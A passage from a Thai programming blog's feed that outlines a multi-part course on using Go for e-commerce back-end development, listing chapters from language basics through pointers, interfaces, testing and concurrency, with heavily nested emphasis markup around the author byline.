https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png 2380w" sizes="(min-width: 720px) 720px"><figcaption>https://go.dev</figcaption></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;</em></em></em></em></p>]]></description><link>https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development-outline/</link><guid isPermaLink="false">66cbf7430325e40001ec6000</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Wed, 28 Aug 2024 01:02:11 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png" class="kg-image" alt loading="lazy" width="2000" height="763" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-10.38.12-AM.png 2380w" sizes="(min-width: 720px) 720px"><figcaption>https://go.dev</figcaption></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p><a href="https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development/">Mastering Golang for E-commerce Back End Development : Part 1</a></p><p>&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE25;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Go &#xE44;&#xE27;&#xE22;&#xE32;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; &#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE41;&#xE25;&#xE30;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; if-else &#xE41;&#xE25;&#xE30; Loop &#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Function</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE22;&#xE31;&#xE07;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE02;&#xE2D;&#xE07; Go &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE47;&#xE19; First-Class Citizen Function &#xE0B;&#xE36;&#xE48;&#xE07;&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Anonymous Function, Closure &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Function &#xE40;&#xE1B;&#xE47;&#xE19; Parameter</p><ul><li><strong>Chapter 1</strong> &#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE20;&#xE32;&#xE29;&#xE32; Go</li><li><strong>Chapter 2</strong> ABC &#xE02;&#xE2D;&#xE07; Go</li><li><strong>Chapter 3 </strong>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE43;&#xE19; Code</li><li><strong>Chapter 4</strong> Function : &#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE33;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE0B;&#xE49;&#xE33;&#xE44;&#xE14;&#xE49;</li></ul><p><a href="https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development-part-2/">Mastering Golang for E-commerce Back End Development : Part 2</a></p><p>&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE25;&#xE36;&#xE01;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE25;&#xE30;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A; Back End &#xE02;&#xE2D;&#xE07; E-commerce Platform &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19; Array, Slice &#xE41;&#xE25;&#xE30; Map &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Pointer &#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Struct &#xE41;&#xE25;&#xE30; Method &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Interface &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Package &#xE41;&#xE25;&#xE30; Module</p><p>&#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE41;&#xE25;&#xE30;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1F;&#xE35;&#xE40;&#xE08;&#xE2D;&#xE23;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE02;&#xE2D;&#xE07; Go &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; defer, panic &#xE41;&#xE25;&#xE30; recover &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07; &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Table-Driven Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Code &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;</p><ul><li><strong>Chapter 5</strong> Array, Slice &#xE41;&#xE25;&#xE30; Map : &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE25;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE0A;&#xE48;&#xE2D;&#xE07;</li><li><strong>Chapter 6</strong> Pointer : &#xE2A;&#xE48;&#xE07;&#xE23;&#xE35;&#xE42;&#xE21;&#xE17;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE0A;&#xE49; &#xE07;&#xE48;&#xE32;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE22;&#xE01;&#xE17;&#xE35;&#xE27;&#xE35;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE44;&#xE1B;&#xE43;&#xE2B;&#xE49;</li><li><strong>Chapter 7</strong> Struct &#xE41;&#xE25;&#xE30; Method : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2D;&#xE07;</li><li><strong>Chapter 8</strong> Interface : &#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE2B;&#xE21;&#xE48;</li><li><strong>Chapter 9</strong> Package &#xE41;&#xE25;&#xE30; Module : &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE41;&#xE1C;&#xE19;&#xE01;&#xE21;&#xE35;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE41;&#xE25;&#xE30;&#xE42;&#xE04;&#xE23;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE41;&#xE1C;&#xE19;&#xE01;</li><li><strong>Chapter 10</strong> Errors, Defer, Panic &#xE41;&#xE25;&#xE30; Recover : &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;</li><li><strong>Chapter 11</strong> &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19; : &#xE25;&#xE2D;&#xE07;&#xE0A;&#xE34;&#xE21;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F;</li></ul><p><a href="https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development-part-3/">Mastering Golang for E-commerce Back End Development : Part 3</a></p><p>&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE25;&#xE36;&#xE01;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; File &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Concurrent &#xE14;&#xE49;&#xE27;&#xE22; Goroutine &#xE41;&#xE25;&#xE30; Channel &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30; Context &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A; Back End &#xE02;&#xE2D;&#xE07; E-commerce Platform</p><p>&#xE42;&#xE14;&#xE22;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; File 